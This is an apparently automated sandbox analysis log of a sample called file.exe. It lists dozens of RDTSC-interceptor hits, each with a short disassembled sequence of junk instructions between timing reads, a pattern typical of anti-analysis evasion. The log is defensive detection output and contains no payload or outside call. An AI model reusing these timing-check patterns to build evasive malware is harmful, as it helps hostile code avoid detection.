Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBD77 second address: BCBD9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE589276564h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FE589276556h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE928 second address: BCE92E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE92E second address: BCE94A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276568h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4131 second address: BD413A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD413A second address: BD4151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jnp 00007FE589276572h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007FE589276556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4151 second address: BD415B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD415B second address: BD415F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD2F92 second address: BD2FB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802EFEh 0x00000007 jmp 00007FE589802F00h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD33F6 second address: BD33FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD33FB second address: BD3404 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3404 second address: BD3428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE58927655Fh 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FE58927655Ch 0x00000014 jnl 00007FE589276556h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3428 second address: BD343D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802EFEh 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD35D1 second address: BD35DB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE589276556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3A07 second address: BD3A0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3B88 second address: BD3B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3E46 second address: BD3E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FE589802F00h 0x0000000b jmp 00007FE589802EFAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3E5B second address: BD3E74 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE589276563h 0x00000008 jmp 00007FE58927655Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3E74 second address: BD3E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE589802EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3E7E second address: BD3E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1CE6 second address: BA1CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1CEA second address: BA1CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1CEE second address: B8458E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 jns 00007FE589802EFCh 0x00000016 call dword ptr [ebp+122D1ED9h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 jmp 00007FE589802F02h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1E92 second address: BA1EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589276561h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1EAC second address: BA1EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA21DE second address: BA21E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2289 second address: BA228D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA228D second address: BA2297 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE589276556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA230C second address: BA2313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2436 second address: BA243C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2721 second address: BA2734 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FE589802EF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2734 second address: BA273A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2BC1 second address: BA2BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2BC7 second address: BA2BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2BCB second address: BA2BCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2BCF second address: BA2C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2947h], edi 0x00000011 push 0000001Eh 0x00000013 call 00007FE58927655Dh 0x00000018 mov ecx, dword ptr [ebp+122D1EACh] 0x0000001e pop edx 0x0000001f push eax 0x00000020 pushad 0x00000021 jg 00007FE58927655Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2C00 second address: BA2C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2D1C second address: BA2D30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276560h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2D30 second address: BA2D50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE589802F03h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2D50 second address: BA2D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2FEF second address: BA2FFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2FFD second address: BA3007 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE589276556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA3007 second address: BA300D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA300D second address: BA3011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5948B second address: B59493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B59493 second address: B594AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE589276560h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B594AE second address: B594B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7968 second address: BD7996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276566h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE589276560h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7DF1 second address: BD7E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FE589802EF6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7E04 second address: BD7E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD80D2 second address: BD80D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8265 second address: BD8278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FE589276556h 0x0000000d jo 00007FE589276556h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD83C5 second address: BD83C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDE17B second address: BDE185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE589276556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCBAF second address: BDCBB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCBB3 second address: BDCBBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCBBD second address: BDCBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCD4E second address: BDCD83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE58927655Ah 0x00000008 jg 00007FE589276556h 0x0000000e jmp 00007FE58927655Eh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a jns 00007FE589276556h 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 push esi 0x00000026 pop esi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCD83 second address: BDCD87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCD87 second address: BDCDA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589276560h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDD19A second address: BDD1B0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE589802EF6h 0x00000008 jnc 00007FE589802EF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDD1B0 second address: BDD1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDD1B6 second address: BDD1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDD2FC second address: BDD301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDD5DE second address: BDD5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE589802EFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDDB9A second address: BDDBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDE029 second address: BDE033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE589802EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDE033 second address: BDE039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE55B9 second address: BE55BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE51D5 second address: BE51DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE51DB second address: BE51E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE589802EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE51E5 second address: BE51EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE8598 second address: BE859E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE859E second address: BE85D9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE589276562h 0x00000008 pushad 0x00000009 jmp 00007FE58927655Dh 0x0000000e jmp 00007FE589276567h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7E27 second address: BE7E30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7E30 second address: BE7E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7E48 second address: BE7E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7E51 second address: BE7E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7E57 second address: BE7E7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802F02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FE589802EFDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7E7D second address: BE7E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE8288 second address: BE828C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE828C second address: BE82C7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE589276556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FE589276566h 0x00000010 jmp 00007FE589276568h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE82C7 second address: BE82EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE589802EF6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FE589802EFCh 0x00000014 jns 00007FE589802EF6h 0x0000001a jng 00007FE589802EFEh 0x00000020 jnc 00007FE589802EF6h 0x00000026 push edi 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE82EF second address: BE82F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE82F5 second address: BE82F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB3F0 second address: BEB3F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF19D0 second address: BF19D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF19D4 second address: BF19D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF19D8 second address: BF19DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF070F second address: BF0715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA296D second address: BA297A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE589802EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA297A second address: BA2980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0D32 second address: BF0D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0D36 second address: BF0D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 jno 00007FE589276556h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE589276561h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF4E41 second address: BF4E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jbe 00007FE589802EFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF4E4E second address: BF4E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FE589276574h 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF523E second address: BF5246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5246 second address: BF526B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FE589276563h 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FE589276556h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF526B second address: BF526F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF526F second address: BF5273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5273 second address: BF527F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF527F second address: BF5283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF53C7 second address: BF53CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF53CB second address: BF53E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE58927655Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
